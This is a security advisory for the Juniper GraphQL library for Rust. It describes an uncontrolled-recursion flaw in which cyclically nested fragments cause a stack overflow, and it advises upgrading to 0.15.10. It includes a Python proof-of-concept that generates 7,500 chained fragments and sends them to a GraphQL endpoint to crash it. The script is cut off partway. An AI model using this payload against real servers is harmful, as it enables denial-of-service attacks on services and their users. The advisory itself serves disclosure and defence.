Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.

Affected: crates.io: juniper

### GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

```graphql # Infinite loop example query { ...a }

fragment a on Query { ...b }

fragment b on Query { ...a } ```

### POC TLDR With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:


However, with a lower size, you will overflow the memory after some iterations.

### Reproduction steps (Juniper)

``` git clone https://github.com/graphql-rust/juniper.git cd juniper ```

Save this POC as poc.py

```python import requests import time import json from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500 perms = [''.join(p) for p in permutations('abcefghijk')] perms = perms[:max_size]

fragment_payloads = '' for i, perm in enumerate(perms): next_perm = perms[i+1] if i < max_size-1 else perms[0] fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = { 'Content-Type': 'application/json', }

try: response = requests.request('POST', url, headers=headers, json=payload) print(response.text) except requests.exc…

Affected: crates.io: juniper

Deeply nested fragments in a GraphQL request may cause a stack overflow in the server.